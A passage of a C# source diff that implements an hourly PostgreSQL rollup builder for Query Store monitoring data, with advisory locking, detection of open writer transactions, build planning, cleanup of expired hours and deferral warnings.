+    /// Takes the hour's transaction advisory lock: $1 the hour, as whole hours since 1970-01-01 (<see cref="HourNumber"/>).
+    /// Two services (or a manual run) building one hour would otherwise both delete nothing and both insert, which doubles
+    /// the hour's rows when the hour has no validity rows to lock.
+    /// </summary>
+    public const string HourLockSql = "SELECT pg_advisory_xact_lock(5582173, $1::integer);";
+
+    /// <summary>
+    /// The sessions of THIS database, other than the caller, that hold a granted <c>RowExclusiveLock</c> on the wide table or on any of
+    /// its partitions (#5582 review round 2): one row each, with the start of the transaction and who it is. An insert, an update, a delete
+    /// and a <c>COPY</c> into the wide table all take that lock on the table they name, and keep it to the end of the transaction, so
+    /// "holds the lock" is "is a writer of the wide table that has not finished". Inserts go through the parent, so the parent's lock is the
+    /// main signal; the leaves cover a write straight into one. <c>pg_partition_tree</c> returns NOTHING for a table that is not
+    /// partitioned, so the table itself is listed apart from it, and <c>to_regclass</c> turns a missing table into an empty list.
+    /// The session's query text is never read.
+    /// </summary>
+    private const string WideWriterRowsSql = @"
+    SELECT DISTINCT a.pid, a.xact_start, a.application_name, a.backend_type
+    FROM pg_locks AS l
+    JOIN pg_stat_activity AS a ON a.pid = l.pid
+    WHERE l.locktype = 'relation'
+      AND l.mode = 'RowExclusiveLock'
+      AND l.granted
+      AND l.relation IN
+      (
+          SELECT to_regclass('collect.query_store_interval_wide')::oid
+          UNION
+          SELECT t.relid::oid FROM pg_partition_tree(to_regclass('collect.query_store_interval_wide')) AS t
+      )
+      AND a.datname = current_database()
+      AND a.pid <> pg_backend_pid()";
+
+    /// <summary>
+    /// The margin guard (#5582 review round 1, narrowed in round 2): the oldest open WRITER OF THE WIDE TABLE (<see cref="WideWriterRowsSql"/>)
+    /// that could hold an unmarked row of the hour, if there is one: $1 the hour. The row trigger skips a row whose
+    /// <c>collection_time</c> is within one hour of the hour of the writer's clock (<see cref="WhenOffset"/>), so a row of hour H can land
+    /// unmarked only while the store's clock is before H + 2 h, and the writer's transaction began before that. If such a transaction is
+    /// still open when the build starts, its rows may commit after the build read them, and nothing would ever mark the pair: the hour
+    /// would read as current with the rows missing. So the build waits (it is deferred to the next tick) until no such transaction is
+    /// open. After the check passes, every writer of an unmarked row of H has finished, and a writer that starts later writes marked
+    /// rows, because the store's clock is past H + 3 h when the plan picks the hour. A lock is released after the commit is visible
+    /// to other snapshots, so a build that does not see the lock sees the writer's committed rows.
+    ///
+    /// <para>Round 1 counted every transaction with an xid, so a write to ANY table (or a <c>CREATE TEMP TABLE</c>) deferred the
+    /// newest hours for as long as it stayed open; the lock on the wide table is what makes a transaction a writer of it. A writer whose
+    /// <c>xact_start</c> reads NULL counts as open: another role's session reads NULL without <c>pg_read_all_stats</c>, and so does every
+    /// session while <c>track_activities</c> is off, and a start time nobody can read cannot be shown to be late enough. That fails toward
+    /// speed, the safe side. <c>datname = current_database()</c> keeps another database of the instance out of it, and
+    /// <c>pid &lt;&gt; pg_backend_pid()</c> the build itself. <c>pg_stat_activity</c> is read once per transaction, and this is the
+    /// build's first read of it, after the advisory lock. A transaction prepared with <c>PREPARE TRANSACTION</c> has no session and is
+    /// not seen; the service never prepares one and <c>max_prepared_transactions</c> defaults to 0.</para>
+    /// </summary>
+    public const string OpenWriterSql = @"
+SELECT w.pid, w.xact_start, w.application_name, w.backend_type
+FROM (" + WideWriterRowsSql + @"
+) AS w
+WHERE w.xact_start IS NULL
+   OR (w.xact_start AT TIME ZONE 'UTC') < $1 + interval '2 hours'
+ORDER BY w.xact_start NULLS FIRST, w.pid
+LIMIT 1;";
+
+    /// <summary>
+    /// The oldest open writer of the wide table whatever the hour, with how long its transaction has been open by the STORE's clock:
+    /// what the log names when hours are held back (<see cref="OpenWriterSql"/> says whether an hour defers; this says who).
+    /// </summary>
+    public const string OldestWriterSql = @"
+SELECT w.pid, w.xact_start, w.application_name, w.backend_type, now() - w.xact_start AS open_for
+FROM (" + WideWriterRowsSql + @"
+) AS w
+ORDER BY w.xact_start NULLS FIRST, w.pid
+LIMIT 1;";
+
+    /// <summary>
+    /// Reads each of the hour's pairs' <c>late_seq</c>: $1 the hour. A plain <c>SELECT</c>, with no row lock: the hour's advisory
+    /// lock already serializes builders, and what keeps the rollup exact is the ORDER, this read before the aggregation's
+    /// snapshot. A bump committed before this read has its rows committed with it, so the aggregation sees them. A bump not
+    /// committed at this read leaves <c>late_seq</c> above the <c>built_seq</c> the build writes (the upsert waits for that
+    /// writer's row lock, then updates <c>built_seq</c> only), so the pair ends stale and the next tick rebuilds it. A
+    /// <c>FOR UPDATE</c> here would save only that one rebuild, and would make every late writer that has to bump one of the
+    /// hour's pairs wait for the whole build, under the collector's 5 s lock timeout (#5582 review round 1).
+    /// </summary>
+    public const string ReadPairsSql = @"
+SELECT server_id, late_seq
+FROM collect.query_store_compose_stamp_built
+WHERE hour = $1
+ORDER BY server_id;";
+
+    /// <summary>Clears the hour's rollup rows before they are rebuilt: $1 the hour. Served by the (collection_time, server_id) index.</summary>
+    public const string DeleteHourSql = @"
+DELETE FROM collect.query_store_compose_stamp
+WHERE collection_time >= $1
+  AND collection_time < $1 + interval '1 hour';";
+
+    /// <summary>
+    /// Rolls up one hour of the wide table and returns the number of wide rows it read: $1 the hour. The partial expressions are
+    /// the map's <see cref="PartialColumn.FactExpression"/> verbatim (the compiler's text), so a rollup column is exactly the
+    /// aggregate the single-scan read computes over the same rows. <c>ORDER BY collection_time, server_id</c> lays the
+    /// rows down in index order.
+    ///
+    /// <para>The <c>first_execution_time</c> floor is the one every per-server read of the wide table carries
+    /// (<see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>): with the table partitioned by day on that column it
+    /// lets the planner skip the leaves that cannot hold a row of the hour (the legacy table above all), and it drops no
+    /// row, because every stored row has <c>first_execution_time</c> within <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/>
+    /// before its <c>collection_time</c> (the argument is on that member). There is no upper bound: the compiler's wide read has
+    /// none either, and the rollup must hold what the wide read holds.</para>
+    /// </summary>
+    public static readonly string BuildHourInsertSql = $@"
+INSERT INTO collect.query_store_compose_stamp ({InsertColumns()})
+SELECT {FactAlias}.collection_time, {string.Join(", ", PartialColumnMap.Select(c => c.FactExpression))}, {string.Join(", ", DimensionColumns.Select(d => FactAlias + "." + d))}
+FROM collect.query_store_interval_wide AS {FactAlias}
+WHERE {FactAlias}.collection_time >= $1
+  AND {FactAlias}.collection_time < $1 + interval '1 hour'
+  AND {FactAlias}.first_execution_time >= $1 - {QueryStoreIntervalWide.PurgeEdgeMarginSql}
+GROUP BY {FactAlias}.collection_time, {string.Join(", ", DimensionColumns.Select(d => FactAlias + "." + d))}
+ORDER BY {FactAlias}.collection_time, {FactAlias}.server_id;";
+
+    /// <summary>The wide rows the hour read, as the sum of the rollup's <c>wide_rows</c>: $1 the hour. A separate statement from
+    /// the insert, on the rollup rows the transaction just wrote (a few thousand).</summary>
+    public const string SourceRowsSql = @"
+SELECT COALESCE(sum(wide_rows), 0)::bigint
+FROM collect.query_store_compose_stamp
+WHERE collection_time >= $1
+  AND collection_time < $1 + interval '1 hour';";
+
+    /// <summary>
+    /// Records the hour's validity rows: $1 the hour, $2 built_at, $3 the servers read in step 1, $4 their <c>late_seq</c>.
+    /// Every server of step 1 and every server in the new rollup rows gets a row. <c>built_seq</c> is the value read in step
+    /// 1, 0 for a server that had no row, and <c>late_seq</c> is not touched: a row a writer created or bumped after step 1
+    /// therefore stays stale.
+    /// </summary>
+    public const string UpsertBuiltSql = @"
+INSERT INTO collect.query_store_compose_stamp_built AS b (server_id, hour, late_seq, built_seq, built_at, source_rows, stamp_rows)
+SELECT x.server_id, $1, 0, COALESCE(l.late_seq, 0), $2, COALESCE(r.source_rows, 0), COALESCE(r.stamp_rows, 0)
+FROM
+(
+    SELECT u.server_id FROM unnest($3::integer[]) AS u (server_id)
+    UNION
+    SELECT s.server_id
+    FROM collect.query_store_compose_stamp AS s
+    WHERE s.collection_time >= $1
+      AND s.collection_time < $1 + interval '1 hour'
+) AS x
+LEFT JOIN unnest($3::integer[], $4::bigint[]) AS l (server_id, late_seq) ON l.server_id = x.server_id
+LEFT JOIN
+(
+    SELECT s.server_id, sum(s.wide_rows) AS source_rows, count(*) AS stamp_rows
+    FROM collect.query_store_compose_stamp AS s
+    WHERE s.collection_time >= $1
+      AND s.collection_time < $1 + interval '1 hour'
+    GROUP BY s.server_id
+) AS r ON r.server_id = x.server_id
+ON CONFLICT (server_id, hour) DO UPDATE
+SET built_seq = EXCLUDED.built_seq,
+    built_at = EXCLUDED.built_at,
+    source_rows = EXCLUDED.source_rows,
+    stamp_rows = EXCLUDED.stamp_rows;";
+
+    /// <summary>Records the hour: $1 the hour, $2 built_at.</summary>
+    public const string UpsertHourSql = @"
+INSERT INTO collect.query_store_compose_stamp_hours (hour, built_at)
+VALUES ($1, $2)
+ON CONFLICT (hour) DO UPDATE SET built_at = EXCLUDED.built_at;";
+
+    /// <summary>
+    /// The hours to build, as (hour, stale): $1 the floor (<see cref="FloorHour"/>), $2 the cap PER KIND, so at most that many
+    /// stale hours and at most that many never-built hours; <see cref="ChooseBuilds"/> splits one tick's builds between the two.
+    /// First the stale hours (an hour the builder has done that has a pair with <c>built_seq IS DISTINCT FROM late_seq</c>),
+    /// newest first; then the hours the builder has never done that are at least <see cref="BuildLag"/> old, newest first. Neither goes
+    /// below the floor or below the hour of the earliest wide-table coverage claim (<c>filled_since</c>) of an enabled
+    /// server, since the rollup cannot speak for earlier hours. A pair of an hour that is not in the hours table is not
+    /// stale: it was created by a late writer before the builder reached the hour, and the hour's first build covers it.
+    ///
+    /// <para>"Now" is the STORE's clock (<c>now()</c>), not the service's: the trigger's <c>WHEN</c> reads the store's clock too, so
+    /// the trigger and this plan share one clock and the skew between the service and the store drops out of the margin. A service
+    /// clock that ran ahead used to shrink the margin by the skew (#5582 review round 1).</para>
+    ///
+    /// <para>$3 is NULL in the service. A test passes a store clock of its own (<see cref="TickOptions.StoreNow"/>), because a writer
+    /// blocks a plannable hour only once it has been open for over an hour, and a test cannot wait that long.</para>
+    ///
+    /// <para>The third column, <c>blocked</c>, is true for an hour an open writer of the wide table would defer (<see cref="OpenWriterSql"/>:
+    /// the oldest writer started before the hour plus two hours; a writer with no readable start blocks every hour). The cap is per kind AND
+    /// per blocked, so hours that cannot build do not take the build slots of the hours that can: an old, never-built hour still builds
+    /// while a writer pins the newest ones (#5582 review round 2). The blocked rows are only counted, for the log; the per-build check stays,
+    /// because a writer can start between the plan and the build.</para>
+    /// </summary>
+    public const string PlanSql = @"
+WITH bounds AS
+(
+    SELECT greatest($1::timestamp, date_trunc('hour', min(c.filled_since))) AS floor_hour
+    FROM collect.query_store_interval_wide_coverage AS c
+    JOIN collect.servers AS sv ON sv.server_id = c.server_id
+    WHERE sv.is_enabled
+    HAVING min(c.filled_since) IS NOT NULL
+),
+cutoff AS
+(
+    SELECT coalesce(min(coalesce(w.xact_start AT TIME ZONE 'UTC', '-infinity'::timestamp)), 'infinity'::timestamp) AS since
+    FROM (" + WideWriterRowsSql + @"
+    ) AS w
+),
+stale AS
+(
+    SELECT DISTINCT b.hour, true AS stale, (b.hour + interval '2 hours' > cutoff.since) AS blocked
+    FROM collect.query_store_compose_stamp_built AS b
+    JOIN collect.query_store_compose_stamp_hours AS h ON h.hour = b.hour
+    CROSS JOIN bounds
+    CROSS JOIN cutoff
+    WHERE b.built_seq IS DISTINCT FROM b.late_seq
+      AND b.hour >= bounds.floor_hour
+),
+missing AS
+(
+    SELECT g AS hour, false AS stale, (g + interval '2 hours' > cutoff.since) AS blocked
+    FROM bounds
+    CROSS JOIN cutoff
+    CROSS JOIN LATERAL generate_series(bounds.floor_hour, date_trunc('hour', coalesce($3::timestamp, now() AT TIME ZONE 'UTC') - interval '3 hours'), interval '1 hour') AS g
+    WHERE NOT EXISTS (SELECT 1 FROM collect.query_store_compose_stamp_hours AS h WHERE h.hour = g)
+)
+SELECT p.hour, p.stale, p.blocked
+FROM
+(
+    SELECT u.hour, u.stale, u.blocked, row_number() OVER (PARTITION BY u.stale, u.blocked ORDER BY u.hour DESC) AS rn
+    FROM (SELECT * FROM stale UNION ALL SELECT * FROM missing) AS u
+) AS p
+WHERE p.rn <= $2
+ORDER BY p.stale DESC, p.blocked, p.hour DESC;";
+
+    /// <summary>
+    /// The first step of the cleanup: removes the hours below the floor from the hours table and returns them: $1 the floor.
+    /// The second step removes each returned hour's rollup rows by the (collection_time, server_id) index
+    /// (<see cref="GcRollupSql"/>), so the cleanup is driven from the small tables (the #5507 shape, as
+    /// <c>PlanRegressionDaily</c> and <c>QueryStoreTopDaily</c>): a delete on the rollup with a bare
+    /// <c>collection_time &lt; floor</c> predicate would read an index range even when nothing is due.
+    /// </summary>
+    public const string GcHoursSql = @"
+DELETE FROM collect.query_store_compose_stamp_hours
+WHERE hour < $1
+RETURNING hour;";
+
+    /// <summary>Removes the validity rows below the floor: $1 the floor. The table is small (a pair per server and hour).</summary>
+    public const string GcBuiltSql = @"
+DELETE FROM collect.query_store_compose_stamp_built
+WHERE hour < $1;";
+
+    /// <summary>Removes one expired hour of rollup rows: $1 the hour.</summary>
+    public const string GcRollupSql = DeleteHourSql;
+
+    /// <summary>One planned build.</summary>
+    public readonly record struct Build(DateTime Hour, bool Stale);
+
+    /// <summary>What one tick did.</summary>
+    public readonly record struct TickResult(int BuiltStale, int BuiltMissing, int Failed, long HoursRemoved, int Deferred = 0, int DeferredForWriters = 0, int HeldBack = 0)
+    {
+        public int Built => BuiltStale + BuiltMissing;
+    }
+
+    private static DateTime Unspecified(DateTime value) => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    /// <summary>Whole hours since 1970-01-01 of <paramref name="hour"/>: the same number the trigger puts in its key and the
+    /// build uses for its advisory lock.</summary>
+    public static int HourNumber(DateTime hour) =>
+        checked((int)((DateTime.SpecifyKind(hour, DateTimeKind.Utc) - DateTime.UnixEpoch).Ticks / TimeSpan.TicksPerHour));
+
+    /// <summary>
+    /// The earliest hour the rollup holds at <paramref name="nowUtc"/>: the retention horizon of the wide table (which purges
+    /// on <c>first_execution_time</c>) moved forward by <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/>, rounded up to
+    /// the hour. A row collected from that hour on started after the horizon, so retention has not touched any row of
+    /// the hour, and the hour's rollup is whole. Hours below it are not built and are removed by <see cref="GcAsync"/>.
+    /// </summary>
+    public static DateTime FloorHour(DateTime nowUtc, int retentionDays)
+    {
+        var edge = Unspecified(nowUtc).AddDays(-retentionDays) + QueryStoreIntervalWide.PurgeEdgeMargin;
+        var hour = new DateTime(edge.Year, edge.Month, edge.Day, edge.Hour, 0, 0, DateTimeKind.Unspecified);
+        return hour < edge ? hour.AddHours(1) : hour;
+    }
+
+    /// <summary>
+    /// One tick's builds out of the planned candidates (<see cref="PlanSql"/>): stale hours first, newest first, then never-built hours
+    /// newest first, at most <paramref name="max"/> in all. While never-built hours are waiting, stale hours take at most half of the
+    /// tick's builds, so a storm of late writes (a backfill, a pending replay) that keeps marking built hours stale cannot starve the
+    /// never-built backlog (a new store's first ~190 hours); with none waiting, stale hours may take every build. The reserved
+    /// half goes to the never-built hours and no further (#5582 review round 1).
+    /// </summary>
+    public static IReadOnlyList<Build> ChooseBuilds(IReadOnlyList<Build> candidates, int max)
+    {
+        ArgumentNullException.ThrowIfNull(candidates);
+
+        var stale = candidates.Where(b => b.Stale).OrderByDescending(b => b.Hour).ToList();
+        var missing = candidates.Where(b => !b.Stale).OrderByDescending(b => b.Hour).ToList();
+        var staleCap = missing.Count > 0 ? max / 2 : max;
+        var chosen = stale.Take(staleCap).ToList();
+        chosen.AddRange(missing.Take(Math.Max(0, max - chosen.Count)));
+        return chosen;
+    }
+
+    /// <summary>One plan: the hours to build, and how many hours the plan held back because an open writer of the wide table would defer them.</summary>
+    public readonly record struct Plan(IReadOnlyList<Build> Builds, int HeldBack);
+
+    /// <summary>The hours to build at <paramref name="nowUtc"/>: <see cref="ChooseBuilds"/> over <see cref="PlanSql"/>, at most <see cref="MaxBuildsPerTick"/>.</summary>
+    public static async Task<IReadOnlyList<Build>> PlanBuildsAsync(
+        NpgsqlConnection connection, DateTime nowUtc, int retentionDays, CancellationToken cancellationToken) =>
+        (await PlanAsync(connection, nowUtc, retentionDays, cancellationToken)).Builds;
+
+    /// <summary><see cref="PlanBuildsAsync"/> with the count of held-back hours (the plan's <c>blocked</c> rows, capped per kind like the rest).</summary>
+    public static async Task<Plan> PlanAsync(
+        NpgsqlConnection connection, DateTime nowUtc, int retentionDays, CancellationToken cancellationToken, DateTime? storeNow = null)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        var builds = new List<Build>();
+        var heldBack = 0;
+        await using var command = new NpgsqlCommand(PlanSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        /* nowUtc only sets the retention floor; the build-lag bound is the store's clock, in the SQL. */
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = FloorHour(nowUtc, retentionDays) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = MaxBuildsPerTick });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = storeNow is { } at ? Unspecified(at) : DBNull.Value });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            if (reader.GetBoolean(2))
+            {
+                heldBack++;
+                continue;
+            }
+
+            builds.Add(new Build(reader.GetDateTime(0), reader.GetBoolean(1)));
+        }
+
+        return new Plan(ChooseBuilds(builds, MaxBuildsPerTick), heldBack);
+    }
+
+    /// <summary>What a caller can set on <see cref="RunTickAsync(NpgsqlDataSource, DateTime, int, ILogger, Func{TimeSpan}, CancellationToken, TickOptions?)"/>:
+    /// the <see cref="DeferralWatch"/> (default <see cref="DeferralWatch.Shared"/>) and, for a test, the store clock the plan uses (default: the store's own).</summary>
+    public sealed record TickOptions(DeferralWatch? Watch = null, DateTime? StoreNow = null);
+
+    /// <summary>An open writer of the wide table (<see cref="OldestWriterSql"/>). The query text is never read.</summary>
+    public readonly record struct OpenWriter(int Pid, DateTime? XactStart, string ApplicationName, string BackendType, TimeSpan? OpenFor);
+
+    /// <summary>The oldest open writer of the wide table, or null when none is open (it may have finished since the plan).</summary>
+    public static async Task<OpenWriter?> FindOldestWriterAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        await using var command = new NpgsqlCommand(OldestWriterSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return null;
+        }
+
+        return new OpenWriter(
+            reader.GetInt32(0),
+            reader.IsDBNull(1) ? null : reader.GetFieldValue<DateTime>(1),
+            reader.IsDBNull(2) ? string.Empty : reader.GetString(2),
+            reader.IsDBNull(3) ? string.Empty : reader.GetString(3),
+            reader.IsDBNull(4) ? null : reader.GetFieldValue<TimeSpan>(4));
+    }
+
+    /// <summary>
+    /// Decides when the rollup's wait on an open writer is worth a Warning (#5582 review round 2): from the second tick in a row that held
+    /// hours back, or at once when the writer's transaction has been open longer than an hour; and at most once per
+    /// <see cref="WarnInterval"/>. A tick that held nothing back resets the count. State lives in the instance, so the service uses
+    /// <see cref="Shared"/> (each hourly tick is a fresh call) and a test can use its own.
+    /// </summary>
+    public sealed class DeferralWatch
+    {
+        /// <summary>The least often the Warning is logged.</summary>
+        public static readonly TimeSpan WarnInterval = TimeSpan.FromMinutes(10);
+
+        /// <summary>A writer open longer than this is worth a Warning on the first tick it holds hours back.</summary>
+        public static readonly TimeSpan LongWriter = TimeSpan.FromHours(1);
+
+        /// <summary>Ticks in a row that held hours back at which the Warning is due.</summary>
+        public const int TicksInARow = 2;
+
+        private readonly object _gate = new();
+        private readonly Func<DateTime> _utcNow;
+        private int _ticksInARow;
+        private DateTime _lastWarnUtc = DateTime.MinValue;
+
+        public DeferralWatch(Func<DateTime>? utcNow = null)
+        {
+            _utcNow = utcNow ?? (() => DateTime.UtcNow);
+        }
+
+        /// <summary>The watch the service's hourly tick uses.</summary>
+        public static DeferralWatch Shared { get; } = new();
+
+        /// <summary>Records one tick; true when the Warning is due now (and claims it).</summary>
+        public bool ShouldWarn(bool heldBackThisTick, TimeSpan? writerOpenFor)
+        {
+            lock (_gate)
+            {
+                if (!heldBackThisTick)
+                {
+                    _ticksInARow = 0;
+                    return false;
+                }
+
+                _ticksInARow++;
+                if (_ticksInARow < TicksInARow && !(writerOpenFor > LongWriter))
+                {
+                    return false;
+                }
+
+                var now = _utcNow();
+                if (_lastWarnUtc != DateTime.MinValue && now - _lastWarnUtc < WarnInterval)
+                {
+                    return false;
+                }
+
+                _lastWarnUtc = now;
+                return true;
+            }
+        }
+    }
+
+    /// <summary>
+    /// Removes the hours below <see cref="FloorHour"/> from all three tables in ONE transaction and returns how many hours
+    /// went. Step one deletes the hours and the validity rows (small tables) and returns the hours; step two removes each
+    /// returned hour's rollup rows by the index. A rollup row is always written in the same transaction as its hour's row,
+    /// so no rollup row is left without one.
+    /// </summary>
+    public static async Task<long> GcAsync(
+        NpgsqlConnection connection, DateTime nowUtc, int retentionDays, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        var floor = FloorHour(nowUtc, retentionDays);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        var expired = new List<DateTime>();
+        await using (var hours = new NpgsqlCommand(GcHoursSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            hours.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = floor });
+            await using var reader = await hours.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                expired.Add(reader.GetDateTime(0));
+            }
+        }
+
+        await using (var built = new NpgsqlCommand(GcBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = floor });
+            await built.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        foreach (var hour in expired)
+        {
+            await using var rollup = new NpgsqlCommand(GcRollupSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds };
+            rollup.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hour });
+            await rollup.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return expired.Count;
+    }
+
+    /// <summary>
+    /// Builds one hour in one transaction (the five steps in the type's summary). Returns the wide rows read, or null when the hour
+    /// was DEFERRED because a writing transaction that could hold an unmarked row of it is still open (<see cref="OpenWriterSql"/>);
+    /// a deferred hour changes nothing and is planned again next tick. An hour with no wide rows still gets its row in the hours table.
+    /// </summary>
+    public static async Task<long?> BuildHourAsync(
+        NpgsqlConnection connection, DateTime hour, DateTime nowUtc, CancellationToken cancellationToken, Func<Task>? beforeCommit = null)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        var hourValue = Unspecified(hour);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        await using (var timeout = new NpgsqlCommand(StatementTimeoutSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            await timeout.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var advisory = new NpgsqlCommand(HourLockSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            advisory.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = HourNumber(hourValue) });
+            await advisory.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var writers = new NpgsqlCommand(OpenWriterSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            writers.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            /* One row (the oldest such writer) when an hour would defer, none when no writer of the wide table could hold an unmarked row. */
+            if (await writers.ExecuteScalarAsync(cancellationToken) is not null)
+            {
+                await transaction.RollbackAsync(cancellationToken);
+                return null;
+            }
+        }
+
+        var servers = new List<int>();
+        var lateSeqs = new List<long>();
+        await using (var readPairs = new NpgsqlCommand(ReadPairsSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            readPairs.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            await using var reader = await readPairs.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                servers.Add(reader.GetInt32(0));
+                lateSeqs.Add(reader.GetInt64(1));
+            }
+        }
+
+        await using (var delete = new NpgsqlCommand(DeleteHourSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            delete.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            await delete.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var insert = new NpgsqlCommand(BuildHourInsertSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            await insert.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        long sourceRows;
+        await using (var count = new NpgsqlCommand(SourceRowsSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            count.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            sourceRows = Convert.ToInt64(await count.ExecuteScalarAsync(cancellationToken));
+        }
+
+        await using (var built = new NpgsqlCommand(UpsertBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Integer, Value = servers.ToArray() });
+            built.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Bigint, Value = lateSeqs.ToArray() });
+            await built.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var hours = new NpgsqlCommand(UpsertHourSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            hours.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = hourValue });
+            hours.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+            await hours.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        /* Test seam: runs with the build's row locks still held and nothing committed (a late write that bumps a pair the build has
+           already upserted waits here for the commit). */
+        if (beforeCommit is not null)
+        {
+            await beforeCommit();
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return sourceRows;
+    }
+
+    /// <summary>
+    /// One maintenance tick: remove the expired hours, plan, then build each hour in its own transaction. A build that fails is
+    /// logged (naming the hour) and the loop goes on; the next tick plans it again. Once <see cref="MaxTickDuration"/> has passed
+    /// no further build starts, and the planned hours left are reported as deferred.
+    /// </summary>
+    public static Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, int retentionDays, ILogger logger, CancellationToken cancellationToken)
+    {
+        var clock = Stopwatch.StartNew();
+        return RunTickAsync(dataSource, nowUtc, retentionDays, logger, () => clock.Elapsed, cancellationToken);
+    }
+
+    /// <summary><see cref="RunTickAsync(NpgsqlDataSource, DateTime, int, ILogger, CancellationToken)"/> with the elapsed time
+    /// since the tick began supplied by <paramref name="elapsed"/>, read before each build starts, and <see cref="TickOptions"/>.</summary>
+    public static async Task<TickResult> RunTickAsync(
+        NpgsqlDataSource dataSource, DateTime nowUtc, int retentionDays, ILogger logger, Func<TimeSpan> elapsed, CancellationToken cancellationToken,
+        TickOptions? options = null)
+    {
+        ArgumentNullException.ThrowIfNull(dataSource);
+        ArgumentNullException.ThrowIfNull(logger);
+        ArgumentNullException.ThrowIfNull(elapsed);
+
+        int builtStale = 0, builtMissing = 0, failed = 0, started = 0, deferredForWriters = 0;
+        var watch = options?.Watch ?? DeferralWatch.Shared;
+
+        await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+        var removed = await GcAsync(connection, nowUtc, retentionDays, cancellationToken);
+        var planned = await PlanAsync(connection, nowUtc, retentionDays, cancellationToken, options?.StoreNow);
+        var plan = planned.Builds;
+
+        foreach (var item in plan)
+        {
+            if (elapsed() >= MaxTickDuration)
+            {
+                break;
+            }
+
+            started++;
+            try
+            {
+                if (await BuildHourAsync(connection, item.Hour, nowUtc, cancellationToken) is null)
+                {
+                    deferredForWriters++;
+                    continue;
+                }
+
+                if (item.Stale)
+                {
+                    builtStale++;
+                }
+                else
+                {
+                    builtMissing++;
+                }
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                failed++;
+                logger.LogWarning(ex, "Query Store compose rollup: building hour {Hour:yyyy-MM-dd HH}:00 (stale {Stale}) failed and is retried next tick: {Message}",
+                    item.Hour, item.Stale, ex.Message);
+            }
+        }
+
+        /* An open writer of the wide table held hours back: at plan time (the hours it would defer never took a build slot) or at build
+           time (it started between the plan and the build). Name it, once per tick, however many hours; the next tick retries. */
+        var heldBack = planned.HeldBack + deferredForWriters;
